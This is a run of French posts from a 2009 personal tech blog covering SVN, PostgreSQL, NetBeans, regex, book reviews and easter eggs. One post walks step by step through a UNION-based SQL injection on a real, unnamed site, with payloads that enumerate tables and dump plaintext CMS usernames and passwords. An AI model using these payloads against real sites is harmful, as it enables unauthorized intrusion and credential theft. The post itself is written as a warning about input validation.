L'autre possibilité, moins flexible, est de créer manuellement un répertoire dans le repository. Par TortoiseSVN, ouvrez le Repo-Browser. Naviguez dans l'arborescence du treeview jusqu'à l'endroit désiré (votre projet). Ouvrez le menu contextuel sur le projet et choisissez Create Folder. Nommez le "tags". Il contiendra les différentes versions finales du produit (celles livrées aux clients). Choisissez le répertoire de travail et en maintenant le bouton droit de la souris enfoncé, glissez-le vers le répertoire tags. En relâchant le bouton, Tortoise proposera des options de copies. Parmi celles proposées, sélectionnez "copy and rename item to here". Nommez-le du nom de la version et le tour est joué.


Tags: Coffre à outils, Programmation

dimanche 13 décembre 2009

Compte à rebours 2010 de Google

Publié par Infinite Loop, à 16 h 47 0 commentaire

Pour commémorer l'arrivée de la nouvelle année, Google a placé un easter egg sur sa page de recherche.

Rendez-vous sur la page d'accueil (Google.ca ou Google.com). Le truc est de ne rien spécifier comme mot clé et de cliquer sur le bouton "I'm feeling lucky".

Vous devriez voir apparaître un compte à rebours du nombre de secondes avant l'an 2010.



Sachant qu'une journée compte 86400 secondes (60 par minute, 60 minutes par heure et 24 heures dans une journée), on peut facilement déduire la réponse : 18,3 jours.

Ou mieux, les power users de Google préféreront utiliser la calculatrice de conversion en entrant la recherche suivante :

1581628 seconds in days



D'ailleurs, doit-on souligner que le bogue de l'an 2000 aura 10 ans cette année ?


Tags: Easter Eggs

État de santé - repos forcé à mes doigts

Publié par Infinite Loop, à 16 h 28 0 commentaire

Plus tôt cette semaine, j'ai écrit sur mon compte Twitter que j'allais être sur la liste des blessés pour quelques jours. C'est la raison pour laquelle j'ai ralenti la cadence de publication sur mon blogue.

En fait, c'est que la pression des doigts sur les touches du clavier d'ordinateur me faisait mal. Entre autre, parce que ma
phalange distale de l'annulaire de la main droite avait enflé au point d'atteindre pratiquement le double du volume habituel. Le bout du doigt était rouge et particulièrement sensible. Ensuite parce que j'ai réussit l'exploit de me couper le bout du majeur de la main gauche en tranchant du pain en vue d'un prometteur repas de fondue au fromage. Et finalement, avec le déneigement de mon véhicule suite à la première tempête de neige (à laquelle je m'étais mal préparé), j'ai eu des engelures aux mains et je me suis coupé accidentellement à l'intérieur de deux jointures (là où ça plie).

Ce n'était vraiment pas ma semaine de chance. Donc prescription obligatoire contre le grattage de guitare et tenter de minimiser mes accès au PC (mis à part au boulot ou si je n'utilise que la souris). Le problème, c'est que rien ne semblait vouloir guérir.

Pour le doigt enflé, ma blonde a suggéré l'hypothèse de l'ongle incarné. Ça me paraissait plausible car pour jouer de la guitare, j'ai tendance à couper mes ongles courts pour pouvoir réaliser les accords plus facilement (ça m'a aussi évité de les ronger pendant des années). En fouillant sur le web, elle a trouvé un article sur Passeport Santé qui décrit bien le facteur de risque et le symptome : Couper trop court ses ongles ou en arrondir les coins / Une rougeur et une enflure à la peau qui entoure l’ongle douloureux.

Avant d'aller patienter des heures à la clinique pour voir un médecin, j'ai tenté d'apporter les soins à domicile décrits dans la section Traitements médicaux de la fiche sur les ongles incarnés de Passeport Santé. En faisant tremper mon doigt 15 minutes dans un bol d'eau tiède salée à 3 reprises, la rougeur a commencé à diminuer, la douleur a cessé et l'enflement tendait à disparaître. C'est maintenant supportable, enfin.

Pour le reste, la crème Polysporin s'occupera du reste. Maintenant, pour ceux qui ont eu le courage de lire papi qui se plaint de ses bobos comme un vieillard, voici quelques faits intéressants qui viennent compléter ce billet.

L'art d'utiliser le mauvais mot

Un annuaire est un répertoire, souvent imprimé.
L'annulaire est le doigt qui porte la bague de mariage.

Alors que j'en entende plus un dire "passe moé l'annulaire de téléphone".

Indice de Manning

Selon Wikipedia, l'indice de Manning
permet de déterminer directement le sexe d'un individu à partir de la mesure du rapport de la longueur de l'index et l'annulaire.

Autrement dit, on peut dire s'il s'agit d'un homme ou d'une femme...
contrairement à la croyance populaire qui dit que que la distance entre les deux doigts correspond à la longueur du sexe...


Tags: Le coin du geek, Saviez-vous que

Citation no. 60 sur la complexité

Publié par Infinite Loop, à 14 h 38 0 commentaire

Le contrôle de la complexité est l'essence de la programmation informatique.

- Brian W. Kernighan


Tags: Citations

jeudi 10 décembre 2009

jPod de Douglas Coupland

Publié par Infinite Loop, à 18 h 47 0 commentaire

Quand j'ai commencé à lire jPod de Douglas Coupland, je m'attendais à retrouver des situations qui auraient pu m'arriver dans le cadre de mon travail. Surtout que l'histoire se passe une génération plus tard (environ 10 ans) après le récit de Microserfs (avec des personnages différents).

L'intrigue se passe dans une boîte de développement de jeux vidéos à Burnaby, Colombie-Britannique (Canada) et on y reconnait tout de suite la référence à Electronic Arts. L'équipe de jPod est nommée ainsi car la lettre "j" représente leurs noms de famille qui commencent tous par J (sauf John Doe... oui c'est légalement son vrai nom. Équivalent québécois : Pierre Jean Jacques ?).

À partir de là, tout va bien. Mais je ne serais pas en mesure de vous raconter la ligne directrice de l'histoire tellement elle me semble décousue (et tant mieux, vous ne saurez pas le punch). Je peux vous dire qu'à un certain moment, un gestionnaire décide d'intégrer une tortue dans un jeu de skateboard car son fils l'aime bien et si ça l'amuse lui, il est convaincu que tout le monde l'adorera. Par une décision administrative, le jeu doit être transformé en univers où on peut se promener à bord d'un tapis volant. Tant qu'à le saboter, les membres de jPod décident d'insérer un jeu caché où le joueur pourra contrôler Ronald McDonald pour faire du saccage. Le crime organisé s'en mêle et tout ça devient un peu trop rocambolesque et invraisemblable à mon goût.

Même si c'est beaucoup plus animé, j'ai eu l'impression que jPod a été calqué sur Microserfs en reprenant des thèmes abordés mais en l'intégrant dans une version éclatée, avec plus d'action et moins de banalités. Nul besoin de dire que j'ai eu du mal à accrocher et à y croire. Définitivement, on ne vit pas sur la même planète. Les stéréotypes de l'équipe de production ne collent pas aux gens de l'industrie, du moins ceux que je connais (c'est ce que je reprochais à Microserfs aussi) ! La famille et l'entourage du personnage principal, Ethan Jarlewski, semblent instables psychologiquement et baignent dans un univers louche qui ne semble pas remettre en question les valeurs et principes de tout ce monde.

D'ailleurs, à les écouter, tous les programmeurs sont autistes à un certain degré. On a nos manies, mais c'est dépeint de façon tellement exagérée. Surtout lorsque les collègues se lancent des défis du genre "dans une liste de 8000 nombres premiers, trouvez le seul qui ne l'est pas et le gagnant recevra un accessoire de Family Guy". Ou encore de trouver la lettre O parmi 58000 chiffres aléatoires, à ne pas confondre avec le zéro (environ 20 pages) ou de repérer le chiffre erroné dans les 100000 premiers chiffres suivant la virgule de PI (aussi imprimé sur 20 pages). Impertinent. Je ne connais personne qui s'adonnerait à ce genre d'activité. Est-ce que c'est moi ou il existe vraiment des moyens plus intelligents de passer ses temps libres ?

Le livre présente quand même quelques idées originales dont celle de se décrire comme si on était un item à vendre sur eBay. Sur le coup, je me suis dit qu'il faudrait que j'essaie ça.

Enfin, j'ai trouvé la fin boiteuse et précipitée, on ne comprend pas trop pourquoi ça se termine ainsi. D'ailleurs, pourquoi l'auteur se retrouve-t-il au coeur du dénouement du livre ? Ça sent l'impertinence.

Si vous voulez en savoir plus, je vous invite à visiter le drôle de site web promotionnel jpod.info.

Sinon, je sais qu'ils ont tourné une série télé s'inspirant de jPod mais je ne compte pas la visionner puisqu'un ami me l'a déconseillée. D'ailleurs, elle a été retirée des ondes seulement 2 mois après son lancement. Probablement parce que ça s'adressait à un public trop ciblé (les 256 membres d'IMDB s'entendent pour lui attribuer la note de 7.8/10).


Tags: Livres

mardi 8 décembre 2009

Simuler unnest() avant Postgres 8.4

Publié par Infinite Loop, à 20 h 52 0 commentaire

Les bases de données PostgreSQL ont l'avantage de pouvoir travailler facilement avec les arrays (tableaux). Depuis la version 8.4, une nouvelle fonction a fait son apparition : unnest().

L'utilité de unnest est de prendre le contenu d'un array et de le transformer en table à plusieurs enregistrements. Par exemple :

SELECT unnest(ARRAY['Montréal', 'Québec', 'Saint-Elie-de-Caxton']) as ville
Retournera l'array sous forme de table

ville (text)
----------------
Montréal
Québec
Saint-Elie-de-Caxton

Avec un client, nous avions la contrainte de devoir travailler avec une version plus vieille. Pour installer une de nos applications, nous avons dû transformer notre code pour que ça soit compatible avec leur système et comme ils utilisaient une version de Postgres 8.3, unnest n'était pas disponible.

Pour créer une version qui simule le comportement de la fonction unnest de 8.4, on peut en définir une comme ceci :
CREATE OR REPLACE FUNCTION unnest(anyarray)
RETURNS SETOF anyelement AS
$BODY$
SELECT $1[i]
FROM generate_series(array_lower($1,1), array_upper($1,1)) i;
$BODY$
LANGUAGE 'sql' IMMUTABLE
Aussi, ça peut être une idée d'utiliser un nom différent afin d'éviter un conflit avec la fonction native si on fait met à jour Postgres pour une version plus récente.


Tags: PostgreSQL

lundi 7 décembre 2009

Démo d'injection SQL sur MySQL

Publié par Infinite Loop, à 22 h 12 0 commentaire

Je parle rarement de MySQL car je n'ai jamais eu l'opportunité de travailler avec ce système de base de données dans un environnement professionnel. Cependant, comme la sécurité des sites me tient à coeur, il est toujours bon d'en savoir un minimum pour éviter les dégâts. Et comprendre les techniques d'injection permet généralement de mieux protéger notre code contre les attaques.

Et certains ne l'ont vraisemblablement pas compris. Voici la démarche que j'ai utilisé pour extraire d'un site PHP / MySQL, la liste des noms d'usagers et les mots de passe pour se connecter à l'interface de gestion (Content Management System).

D'abord, trois choses :

  • le site en question ne vérifiait pas les types des paramètres reçus
  • le site affichait explicitement les messages d'erreurs provenant de la base de données
  • les mots de passe n'étaient pas encryptés
Avant de poursuivre, je tiens à spécifier que je taierai le nom du site par souçi d'éthique et que par principe, j'ai effectué ces tests que pour démontrer la faille de sécurité. En aucun cas je n'ai endommagé le système. De plus, le nom de l'entreprise qui a développé le projet figure en pied de page et je ne veux pas nuire à leur réputation (mais bon, tous leurs sites sont injectables car ils sont faits sur le même moule...).

Le truc le plus facile pour voir si un paramètre n'est pas validé est de modifier sa valeur directement par le query string. Prenons une page au hasard. Celle-ci devrait normalement retourner un seul enregistrement à l'intérieur d'un recordset :

page.php?id=102

Le système s'attend à ce que ça soit un champ de type integer. Si on altère le type :

page.php?id=102'

Il est possible que ça provoque une erreur :

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''102''' at line 1

Excellent. Non seulement les messages d'erreurs sont affichés mais on voit aussi que c'est MySQL.

En SQL, on sait qu'on peut utiliser UNION ALL pour joindre deux requêtes SQL sous un même jeu de résultats. L'idée est de générer un enregistrement supplémentaire bidon qui comprendra le même nombre de champs que l'enregistrement original (le nouvel enregistrement utilisera les mêmes noms ou alias que ceux nommés dans le SELECT initial). Commençons par ceci :

id=102' UNION ALL SELECT 1/*

Un message d'erreur indique :
The used SELECT statements have a different number of columns.


Ajoutons d'autres champs un par un jusqu'à ce qu'on puisse deviner le nombre exact.

id=102' UNION ALL SELECT 1, 2/*
id=102' UNION ALL SELECT 1, 2, 3/*
...
id=102' UNION ALL SELECT 1, 2, 3, 4, 5/*

Avec cette dernière requête, le message n'apparaît plus. C'est donc dire que nous avons réussi à créer un enregistrement valide. Notre recordset retourne 2 enregistrements plutôt qu'un. Essayons de faire afficher le second en utilisant la clause LIMIT et l'offset :

id=102' UNION ALL SELECT 1,2,3,4,5 LIMIT 1,2/*

Dans la page PHP, il devrait normalement y avoir un champ qui affiche un des chiffres que nous avons inscrit (de 1 à 5). C'est par ce champ que nous allons faire sortir les données (dans mon cas, c'est par le champ "2").

On sait que le site utilise MySQL. Mais quelle version ? Je vais en faire la demande par la fonction système version() que j'invoquerai à la place du deuxième champ :

id=102' UNION ALL SELECT 1,version(),3,4,5 LIMIT 1,2/*

Oups, une erreur :

Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION'

Il suffit de le convertir :

id=102' UNION ALL SELECT 1, CONVERT(version() using latin1),3,4,5 LIMIT 1,2/*

5.0.18 apparaît dans la page. Ce qui nous permet de savoir quelles fonctionnalités sont disponibles et quelles vulnérabilités sont présentes pour cette version.

Je suis maintenant en mesure de faire sortir n'importe quelle donnée par le deuxième enregistrement. On sait par la documentation qu'on peut utiliser INFORMATION_SCHEMA pour trouver le nom de toutes les tables d'une base de données :

id=102' UNION ALL SELECT 1, CONVERT(table_name using latin1),3,4,5 FROM INFORMATION_SCHEMA.TABLES LIMIT 1,2/*

En modifiant le LIMIT 1,2 par LIMIT 2,2 ou LIMIT 3,2, etc, je verrai apparaître le nom de chaque table successivement. Il faut savoir que les tables systèmes apparaîtront en premier et que ce n'est que vers la 15ème ou 16ème que les tables utilisateurs feront leur apparition. Oh, comme par hasard, on voit passer une table users !

Je répète le même genre de processus (avec LIMIT) pour extraire le nom de chaque colonne de la table users :

id=102' UNION ALL SELECT 1, CONVERT(column_name using latin1),3,4,5 FROM INFORMATION_SCHEMA.columns WHERE table_name = 'users' LIMIT 1,1/*

id, username, password.

Cool :-)

Enfin, je veux voir les données de cette table :

id=102' UNION ALL SELECT 1, CONVERT(username using latin1),3,4,5 FROM users LIMIT 1,1/*

id=102' UNION ALL SELECT 1, CONVERT(password using latin1),3,4,5 FROM users LIMIT 1,1/*

Une fois en possession d'une combinaison username / password, ça peut être un bon réflexe de visionner le fichier robots.txt. Parfois, les noms de certains répertoires à exclure des moteurs de recherche y figurent. Dans mon cas, celui correspondant au CMS y était.

Accédez à la page d'authentification et connectez-vous. Voilà, vous avez introduit le système.


Tags: Sécurité

dimanche 6 décembre 2009

Jeu caché dans Gnome (GEGL)

Publié par Infinite Loop, à 18 h 12 0 commentaire

Voici un autre easter egg largement documenté dans Gnome. Il utilise GEGL (Generic Graphical Library), une librairie graphique conçue pour le traitement d'images. Curieusement, sa mascotte est une une chèvre à cinq pattes...

Ouvrez la fenêtre Run Application : ALT+F2 (dans mon cas, Ubuntu).

Entrez gegls from outer space

Le jeu sera lancé. Utilisez les flèches pour faire bouger le poisson (Wanda ?) afin d'éviter de se faire toucher et utilisez la spacebar pour tirer des projectiles vers les chèvres pour les éliminer. Essayez d'avoir du fun quelques minutes et passez à autre chose.


Tags: Easter Eggs, Linux

Citation no. 59 sur le café

Publié par Infinite Loop, à 08 h 58 0 commentaire

Pour commencer... Pour commencer... Comment commencer ? J'ai faim. Je devrais aller chercher un café. Un café m'aiderait à penser. Peut-être que je devrais écrire quelque chose d'abord, puis me récompenser avec un café ?

- Charlie Kaufman, film Adaptation (2002)


Tags: Citations

samedi 5 décembre 2009

Le plus beau gars du Québec

Publié par Infinite Loop, à 10 h 00 0 commentaire

Saviez-vous que l'auteur de ce blogue a jadis été le plus beau mec du Québec selon un classement du site Do You Look Good ?

En effet, il y a plusieurs années, j'admets que la curiosité m'avait amené à m'inscrire sur ce site (en fait, sous l'influence de mon groupe d'amis qui insistait pour que je les rejoigne). Maintenant que je me suis dissocié de ma part de responsabilité dans cette démarche douteuse, je peux vous expliquer comment ça s'est réellement passé (loin de moi l'idée d'être narcissique, au contraire). Ce que j'ai à raconter relève directement de ma déformation professionnelle de programmeur : observer le fonctionnement de la machine, la comprendre et tenter de la briser pour en tirer profit :-)

Dans ce site de voyeurisme où l'objectif est d'être à moitié dénudé pour collecter les notes les plus élevées, il existait deux façons de voter :

  • se rendre sur la fiche d'un candidat et voter selon une échelle de 1 à 10
  • utiliser le mode d'affichage aléatoire pour voir défiler un à un les profils et leur attribuer une note et passer par la suivante
Dans ce deuxième cas, j'avais remarqué que si mon profil ne contenait pas de photo, il ne se retrouvait pas dans les résultats de recherche ni dans le classement. Par le fait même, il ne pouvait pas accumuler des votes aléatoires. Par contre, je pouvais en récolter à partir de ma fiche personnelle si je faisais parvenir le lien direct à mes amis. Et l'erreur était là : voter pour un concours de beauté sans même qu'il y ait de photo, ça ne tenait pas la route.

Tant et aussi longtemps que je n'ajoutais pas de photo, je pouvais cumuler les votes. J'avais fait circuler le message à quelques complices et pendant quelques semaines, environ 25 personnes (dont certains que je ne connaissais pas mais qui avaient eu vent du coup) votaient quotidiennement pour moi en donnant la note parfaite. Lorsque j'eus cumulé suffisamment de votes (plusieurs centaines), j'ai décidé de publier une photo (une très drôle en plus, qui faisait un pied de nez à cette mentalité superficielle). À cette époque, j'étais jeune et fou...

Pendant 24 à 48 heures, j'étais proclamé le plus beau gars du Québec, tout âge confondu. J'avais tellement de votes que j'étais indélogeable. Mais bon, il faut croire que certains ne l'ont pas trouvé drôle. Mon compte fût supprimé par les administrateurs...

Tout ça pour dire qu'en inspectant les conditions de programmation, j'ai pu trouver une faille et déjouer leur système de vote (peut-on considérer ça comme un mini-hack ?).

À une époque où on donne trop d'importance au look et pas assez à la personnalité, c'est à se demander à quel point c'est malsain et si ces gens y croient réellement. N'empêche que ma blonde me trouve de son goût, c'est tout ce qui compte.


Tags: Humour, Le coin du geek

jeudi 3 décembre 2009

Thème Windows XP sur Ubuntu : ça marche!

Publié par Infinite Loop, à 17 h 54 0 commentaire

Cet après-midi, j'ai publié sur Twitter un article intitulé Linux Could Even Look Like Windows If It Wanted To (un thème assez surprenant qui permet de changer le look d'Ubuntu pour lui substituer celui de Windows XP). Quand je suis arrivé chez moi, je me suis empressé de le tester sur une machine virtuelle (environnement idéal pour faire ce genre d'essai).

C'est très facile à installer :

  • Téléchargez le fichier compressé XpGnome.tar.gz
  • Décompressez l'archive (cliquez sur l'icône avec le bouton droit de la souris et choisissez Extract Here)
  • Ouvrez le répertoire décompressé
  • Double-cliquez sur le fichier InstallXPGnome.sh
Voyez le résultat sur ma machine virtuelle.

Écran d'accueil
Désolé, l'imprimé d'écran n'est pas très bon, l'écran d'accueil s'affiche tellement vite...



Le bureau



Suite à l'installation, un répertoire RestoreSettings sera placé dans le répertoire initial. On pourra annuler les changements en exécutant le script Restore_Settings.sh. Est-ce assez curieux pour vous ?

Sur une autre note, si vous êtes fanatique des produits Microsoft et que vous aimeriez appliquer un look à la Outlook à votre client de messagerie libre Thunderbird, utilisez le thème Outlook 2003 BlueTB 2.0.


Tags: Curiosités, Linux

mercredi 2 décembre 2009

Invitation à un cocktail de Microsoft

Publié par Infinite Loop, à 14 h 51 0 commentaire

Voici un courriel que j'ai reçu dans les derniers jours provenant d'une boîte de communications et de relations publiques. J'avoue que je ne sais pas trop quoi en penser.

Soirée apéro & applications de Microsoft
Le jeudi 3 décembre


Bonjour,

Microsoft Canada organise une soirée apéro & applications, le jeudi 3 décembre dès 18h, à l’hôtel W à Montréal (901, Square-Victoria) et nous souhaitons t’y inviter.

Et si le « côté obscur», comme il est souvent qualifié à la blague, n’était pas aussi noir qu’il en a l’air? Peu de gens sont au courant que Microsoft travaille en collaboration avec la communauté Logiciel Libre. Il s’agit donc de l’occasion parfaite pour discuter autour d’un verre (ou deux!) de cette collaboration et de connaître votre opinion sur la direction que devrait prendre celle-ci dans le futur. Des experts actifs dans la communauté Logiciel Libre seront également de la partie pour discuter de leur point de vue sur l’importance de l’interopérabilité entre plateformes et de l’implication dans la communauté.

Quoi: Soirée apéro & applications de Microsoft

Qui: Vous (et un/une ami/)

Où : Hôtel W, 901 Square-Victoria, Montréal

Quand : Le jeudi 3 décembre de 18h à 20h

Laisse-moi savoir si on peut te compter parmi nous.
Je ne suis pas contre l'idée derrière ce type de rencontre mais je me pose quelques questions :
  • pourquoi est-ce qu'on m'a personnellement invité ?
  • pourquoi Microsoft accuse les logiciels libres d'utiliser à profusion ses brevets ?
  • pourquoi est-ce que je n'ai jamais reçu de réponse de leur part quand j'ai montré un intérêt à avoir de plus amples informations ?
À lire en guise de conclusion :
  • Microsoft et logiciel libre : l’art de la guerre
  • Le procès antitrust Microsoft et le logiciel libre
  • La stratégie de Microsoft contre le Logiciel Libre
  • Brevets Microsoft : la réponse de Linux Foundation
  • Linux Foundation Fires Back at Microsoft
Vos impressions ?


Tags: Le coin du geek

mardi 1 décembre 2009

Défilement sur Google Maps

Publié par Infinite Loop, à 18 h 26 0 commentaire

Google Maps est très populaire et les clients ne cessent de nous demander d'intégrer cette fonctionnalité à leur site web (en revanche, jamais de demande pour MapQuest!).

Comme vous avez pu le remarquer, une carte Google permet de zoomer pour se rapprocher ou s'éloigner si on utilise la "scroll wheel" de la souris. En développement, lorsqu'on insère une carte sur une page, il faut utiliser l'API et définir les options qu'on désire activer. Et l'option ScrollWheelZoom ne l'est pas par défaut.

Et c'est une bonne chose. Pourquoi ? Parce que les cartes se retrouvent souvent sur des fiches descriptives qui contiennent bon nombre d'informations, par exemple par rapport à une entreprise dont l'adresse figure sur la page accompagnée d'une carte pour aider à la localisation. Lorsqu'on utilise la scroll wheel de la souris pour faire défiler la page horizontalement, le curseur peut arriver vis-à-vis la carte Google et plutôt que de poursuivre le défilement de la page, la carte se met à zoomer alors que ce n'est pas ce qu'on attendait.

C'est exactement ce qui est arrivé à un de nos clients. Il a remarqué ce comportement peu ergonomique et comme ça l'agaçait, il nous a demandé de vérifier si on pouvait désactiver le zoom.

Je l'ai corrigé simplement en retirant cette ligne (qui n'aurait pas dû être présente au départ) :

map.enableScrollWheelZoom();

Et voilà, un autre client heureux.


Tags: Intégration, JavaScript

lundi 30 novembre 2009

Utilise les regex avant que je vire fou !

Publié par Infinite Loop, à 19 h 43 0 commentaire

Je travaille dans un petit studio de développement où tous les programmeurs sont regroupés ensemble dans la même pièce et où les postes de travail sont seulement séparés par des murets. Donc on entend tout le monde taper au clavier, ce qui donne parfois une bonne idée de l'occupation de chacun et de la nature du travail effectué.

Mais les programmeurs n'écrivent pas toujours du code. De temps à autre, ils reçoivent un fichier de données de la part du client dans le but de l'importer dans un système. Et plus souvent qu'autrement, le fichier est mal formaté et on doit le préparer pour lui donner une forme standard.

Par exemple, prenons l'échantillon suivant qui comprend un champ par ligne :

##champ1##
##champ2##
##champ3##
...
##champ50##

Si je souhaite en faire une entrée CSV, je connais plusieurs programmeurs qui positionneront le curseur à la fin de la première ligne et qui s'acharneront sur la suite de touches DEL, ",", ESPACE, END pour obtenir comme résultat quelque chose qui ressemble à ceci (sur une même ligne) :

##champ1##, ##champ2##, ##champ3##, ..., ##champ50##

On s'en rend compte si on porte attention au son car ça produit un beau vacarme rythmé qui s'étire selon le nombre d'enregistrements que comprend le fichier. Et une fois de temps en temps, on peut noter un arrêt (pour corriger une erreur dans la séquence) et le pattern reprend de plus belle.

Pourtant, si on se fie à la loi universelle disant qu'un programmeur se doit d'être paresseux et d'automatiser les tâches les plus ennuyantes, il devrait normalement avoir recours aux expressions régulières (regexp).

D'abord, vous devez vous assurer que votre éditeur supporte les remplacements par regex (Dreamweaver, Netbeans, NotePad++ et Eclipse, pour ne nommer que ceux-là, en ont un). Sinon, il est toujours temps de changer.

Dans NetBeans, ouvrez le fichier de données. Ensuite faites CTRL+H et cochez Regular Expressions.

Find what : (##.*##)\n
Replace with : $1,

Cliquez sur le bouton Replace All. Il suffira ensuite de retirer manuellement la dernière virgule de la liste. C'est simple, efficace, silencieux et ça m'évite de monter le son de ma musique dans mon casque d'écoute lorsque j'en entends un qui s'énerve avec son clavier. Ça m'a fait du bien d'en parler, bonne soirée :-)

P.s. c'est probablement la première neige de la saison qui tombe sur Montréal qui joue sur mon humeur...


Tags: Programmation

dimanche 29 novembre 2009

In Search of Stupidity

Publié par Infinite Loop, à 10 h 16 0 commentaire

J'ai été chanceux de mettre la main sur la deuxième édition de In Search of Stupidity: Over Twenty Years of High Tech Marketing Disasters (sur Amazon Marketplace pour environ 4$).

J'appréhendais que ça allait être bon et finalement, c'était au-delà de mes attentes même si au final c'était très différent de ce que j'avais imaginé.

Merrill Rick Chapman a écrit le livre en partie en réponse à In Search of Excellence (un bestseller des années 80 qui fût aussi le livre qui se retrouvait dans le plus grand nombre de bibliothèques de 1989 à 2006) qui fût critiqué par la suite pour différentes raisons.

In Search of Stupidity renferme des pages d'histoire richement détaillées et bon nombre d'anecdotes intéressantes (tirées aussi du parcours professionnel de Chapman). Par exemple, en note de bas de page, l'auteur raconte qu'il a rencontré Isaac Asimov alors qu'il travaillait pour Macy's à New York. Asimov se serait pointé en magasin pour tester un nouveau produit et aurait tenté d'écrire du BASIC sur un Apple II. Il a causé une boucle infinie qu'il ne savait plus comment arrêter.

Un élément central qui m'a marqué est comment Microsoft s'est positionné, au fil du temps, comme leader de l'industrie. Oui, personne ne semble apprécier le géant de Redmond, mais je dois admettre qu'ils ont été très intelligents dans leurs décisions (même s'ils ont eu une part de chance en étant au bon endroit au bon moment) et que c'est surtout en évitant de commettre des erreurs aussi fatales que ses concurrents qu'ils ont atteint le sommet.

Microsoft avait l'engouement du public et de l'industrie pour les décénnies 80-90, ce dont Google semble s'être approprié depuis les 10 dernières années. Et pourtant, quelle que soit votre allégeance envers Microsoft, Apple ou Google, ils sont tous loin d'être blanc comme neige, seulement que ça a été moins publicisé par les médias pour certains (on frappe sur le plus gros, celui qui dicte les règles de l'industrie). À l'époque, Apple avait la fâcheuse tendance à intenter des poursuites judiciaires à quiconque plaçait une icône de corbeille sur son bureau. Et Google ne respecte pas toujours sa philosophie "do no evil", entre autre en Chine. Mais bon...

Le livre contient beaucoup de sujets à faire jaser dont la débandade d'IBM et l'OS/2, les excentricités de Philippe Kahn de Borland, la guerre des microprocesseurs gagnée par Intel et son imposant programme de marketing Intel Inside, le déclin de Novell, la saga des logiciels de traitement de texte (WordStar, WordStar 2000, WordMaster, NewWord, WordPerfect, Word), un portrait peu reluisant de Ed Esber de Ashton-Tate (probablement la personne la plus détestée à l'époque).

Mais aussi des sujets plus récents comme Netscape qui a entreprit de réécrire tout le code de son fureteur (en Java je crois) pour sa version suivante et qui a perdu le marché au mains de Microsoft Internet Explorer en étant incapable de suivre le rythme de développement. On connaît la suite. Netscape a légué le tout à la fondation Mozilla (qui est en train de reprendre tranquillement le dessus sur IE avec un certain Firefox). On y parle aussi de la bulle spéculative du dot-com qui a éclaté en mars 2000.

Un autre excellent chapitre est celui intitulé "The Strange Case of Dr.Open and Mr.Proprietary", qui présente l'idéologie du code source libre, Richard Stallman, Linux, GNU, la GPL et qui s'étend jusqu'au problème de la commercialisation de la musique depuis l'arrivée d'Internet, les lecteurs mp3 et les P2P, et l'industrie du disque qui a perdu le contrôle (un problème que j'ai exploré pendant plusieurs années).

À classer dans la catégorie des incontournables pour quiconque travaille dans le milieu informatique. Mais sachez que même si vous le lisez, ça ne vous évitera pas de faire des erreurs vous aussi. Cela dit, si vous avez des histoires d'horreur à raconter, envoyez-les moi! Le fait est qu'apprendre le passé évite parfois de refaire les mêmes erreurs dans le futur.


Tags: Livres

Citation no. 58 sur la confiance

Publié par Infinite Loop, à 08 h 13 0 commentaire

Vous ne pouvez pas faire confiance en du code que vous n'avez pas totalement créé vous-même.

- Ken Thompson


Tags: Citations

vendredi 27 novembre 2009

Propriétaire d'une table PostgreSQL

Publié par Infinite Loop, à 16 h 16 0 commentaire

Je vais partager avec vous un petit truc qui m'a été utile aujourd'hui car j'ai passé une partie de la journée à faire du débogage à distance et comme je n'avais pas accès à psql, j'ai dû me débrouiller avec ce que j'avais sous la main.

Le client avait un problème de droits d'accès sur certains objects de sa base de données PostgreSQL. J'ai suspecté qu'il avait dû créer des nouveaux objets avec le user postgres plutôt qu'avec l'utilisateur de son projet (l'utilisateur connecté qui crée les objets possède automatiquement les droits sur ceux-ci, donc pas besoin d'attribuer des droits manuellement).

L'objectif : comment savoir quels objets sont problématiques à l'aide d'une requête SQL qui interroge les tables systèmes ?

Pour savoir qui est le propriétaire d'une table en particulier :

SELECT tableowner
FROM pg_catalog.pg_tables
WHERE tablename = 'nom_de_la_table'
Pour voir la liste des tables et le propriétaire de chacune :
SELECT tablename, tableowner
FROM pg_catalog.pg_tables
ORDER BY tablename
Pour modifier le propriétaire d'une table :
ALTER TABLE tablename OWNER TO username
Connecté en tant que l'utilisateur postgres, on peut obtenir la liste des bases de données et leurs propriétaires respectifs :
SELECT datname, rolname
FROM pg_database as d
INNER JOIN pg_authid as a ON d.datdba = a.oid
ORDER BY datname
On peut changer le propriétaire de la base de données :
ALTER DATABASE dbname OWNER TO username
Cependant, il faut savoir que les objects conservent le propriétaire original. Si on veut changer tous les objets de propriétaire, il faudra les changer un par un. Mieux vaut faire un script qui boucle sur l'ensemble des objets.


Tags: PostgreSQL

mercredi 25 novembre 2009

Configurer le FTP dans Netbeans

Publié par Infinite Loop, à 18 h 38 1 commentaire

Saviez-vous que l'éditeur NetBeans possède un client FTP intégré ? Du moins, une version de base et qui est bien cachée.

Pour configurer le FTP :

  • Sur le répertoire du projet, cliquez avec le bouton droit de la souris
  • Choisissez Properties
  • Catégorie : Run Configuration
  • Run As : Remote Web Site (FTP)
  • Plus bas dans le même écran : FTP Connection / Manage
  • Entrez un nom pour la connexion (Connection Name)
  • Entrez le hostname, username et password
  • Vous pouvez maintenant tester l'accès en cliquant sur le bouton "Test".
  • Faites OK pour enregistrer la configuration
Lorsque vous aurez modifié du code source :
  • Sélectionnez le ou les fichiers modifiés
  • Cliquez avec le bouton droit de la souris pour ouvrir le menu contextuel
  • Choisissez Upload
À noter qu'avec la version 6.5.1, seule l'option FTP est disponible et qu'à partir de la version 6.7, il est possible de transférer à l'aide de SFTP. Cependant, il ne semble pas y avoir d'option de synchronisation comme le fait Dreamweaver.


Tags: Coffre à outils, Programmation

mardi 24 novembre 2009

Mais où s'en va la vie privée ?

Publié par Infinite Loop, à 20 h 17 0 commentaire

En entrée de matière, vous devez absolument lire l'article paru le 23 novembre 2009 sur Cyberpresse / La Presse pour connaître l'histoire de Nathalie Blanchard. Cette employée d'IBM souffrait d'une grave dépression et sa compagnie d'assurance, Manuvie, a utilisé des moyens divers pour s'introduire dans son profil privé de Facebook où elle a récupéré des photos où Mme Blanchard s'amusait un peu trop à leur goût. Résultat : Manuvie lui coupe ses prestations de maladie de longue durée.

